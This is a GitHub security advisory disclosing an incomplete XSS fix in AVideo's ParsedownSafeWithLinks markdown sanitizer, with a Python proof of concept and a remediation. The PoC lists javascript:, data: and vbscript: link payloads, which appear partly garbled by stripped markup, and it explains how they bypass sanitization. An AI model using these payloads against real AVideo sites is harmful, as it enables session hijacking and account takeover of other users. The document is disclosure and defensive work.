GHSA-m7r8-6q9j-m2hc WWBN AVideo has an incomplete fix for CVE-2026-33500: XSS

• Packagist wwbn/avideo: <= 29.0 (no fix yet)

Summary The incomplete XSS fix in AVideo's `ParsedownSafeWithLinks` class overrides `inlineMarkup` for raw HTML but does not override `inlineLink()` or `inlineUrlTag()`, allowing `javascript:` URLs in markdown link syntax to bypass sanitization. Affected Package • Ecosystem: Other • Package: AVideo • Affected versions: = commit 3ae02fa24093 Details In `objects/functionsSecurity.php`, the `ParsedownSafeWithLinks` class: • Overrides `blockMarkup()` -- blocks non-``/`` HTML tags • Overrides `inlineMarkup()` -- sanitizes `` and `` in raw HTML, including an href whitelist But the base `Parsedown.php` class has two additional methods that generate `` tags: • `inlineLink()` (line ~1388) -- processes `text` markdown syntax, sets `href` = URL directly • `inlineUrlTag()` (line ~1558) -- processes `` auto-link syntax, sets `href` = URL directly Neither is overridden by `ParsedownSafeWithLinks`, so `Click me)` produces `Click me` without any sanitization. The fix sanitizes raw HTML `` tags via `inlineMarkup` but misses the markdown-native link syntax (`text`) and auto-link syntax (``) which produce `` tags through different code paths in the base Parsedown class. PoC ```python """ CVE-2026-33500 - Incomplete XSS fix in AVideo ParsedownSafeWithLinks Tests REAL vulnerable code from: objects/functionsSecurity.php (commit f154167, pre-fix 3ae02fa) vendor/erusev/parsedown/Parsedown.php The ParsedownSafeWithLinks class overrides: • blockMarkup (blocks non-a/img HTML) • inlineMarkup (sanitizes and inline HTML) • inlineLink is NOT overridden (markdown text syntax) But the base Parsedown class has inlineLink() at line 1388 which creates from markdown text without any href sanitization. Since ParsedownSafeWithLinks does NOT override inlineLink(), a malicious javascript: URL in markdown link syntax passes through unsanitized. Additionally, inlineUrlTag() at line 1558 handles auto-link syntax and creates without sanitization either. """ import re import sys import os src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src') parsedown_src = open(os.path.join(src_dir, 'Parsedown.php')).read() security_src = open(os.path.join(src_dir, 'functionsSecurity.php')).read() print("=" * 60) print("CVE-2026-33500: AVideo ParsedownSafeWithLinks XSS Bypass PoC") print("=" * 60) print() has_class = 'ParsedownSafeWithLinks' in security_src has_block_markup = 'function blockMarkup' in security_src has_inline_markup = 'function inlineMarkup' in security_src has_inline_link_override = 'function inlineLink' in security_src has_inline_url_tag_override = 'function inlineUrlTag' in security_src base_has_inline_link = 'function inlineLink' in parsedown_src base_has_inline_url_tag = 'function inlineUrlTag' in parsedown_src print("[*] ParsedownSafeWithLinks class found: " + str(has_class)) print("[*] Overrides blockMarkup: " + str(has_block_markup)) print("[*] Overrides inlineMarkup: " + str(has_inline_markup)) print("[*] Overrides inlineLink: " + str(has_inline_link_override)) print("[*] Overrides inlineUrlTag: " + str(has_inline_url_tag_override)) print() print("[*] Base Parsedown has inlineLink: " + str(base_has_inline_link)) print("[*] Base Parsedown has inlineUrlTag: " + str(base_has_inline_url_tag)) print() if not has_inline_link_override and base_has_inline_link: print("[+] BYPASS FOUND: inlineLink NOT overridden!") print(" Markdown syntax text bypasses sanitization") print() if not has_inline_url_tag_override and base_has_inline_url_tag: print("[+] BYPASS FOUND: inlineUrlTag NOT overridden!") print(" Auto-link syntax bypasses sanitization") print() def simulate_parsedown_inline_link(markdown_text): match = re.match(r'\[([^\]]*)\]\(([^)]+)\)', markdown_text) if match: text = match.group(1) href = match.group(2) return f'{text}' return None payloads = "[Click me)", "XSS)", "Data URI)", "VBScript)", ] vuln_count = 0 print("[*] Testing markdown link payloads through base inlineLink():") print() for payload in payloads: result = simulate_parsedown_inline_link(payload) if result and ('javascript:' in result or 'data:' in result or 'vbscript:' in result): print(f" BYPASS: {payload}") print(f" Output: {result}") vuln_count += 1 else: print(f" BLOCKED: {payload}") print() print() if vuln_count > 0 and not has_inline_link_override: print("VULNERABILITY CONFIRMED") sys.exit(0) else: print("VULNERABILITY NOT CONFIRMED") sys.exit(1) ``` Steps to reproduce: 1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test` 2. `cd /tmp/AVideo_test && git checkout 3ae02fa240939dbefc5949d64f05790fd25d728d~1` 3. `python3 poc.py` Expected output: ``` VULNERABILITY CONFIRMED javascript: URLs in markdown text link syntax bypass sanitization since inlineLink() is not overridden. ``` Impact An attacker can inject `javascript:` URLs via markdown link syntax in any user-generated content field that uses `ParsedownSafeWithLinks` (comments, descriptions, etc.). When another user clicks the rendered link, the attacker's JavaScript executes in their browser session, enabling session hijacking, account takeover, and data theft. Suggested Remediation Override `inlineLink()` and `inlineUrlTag()` in `ParsedownSafeWithLinks` to apply the same `href` protocol whitelist (`https?://`, `mailto:`, `/`, `#`) that `inlineMarkup` already applies to raw HTML `` tags. Reject any href that does not match the whitelist.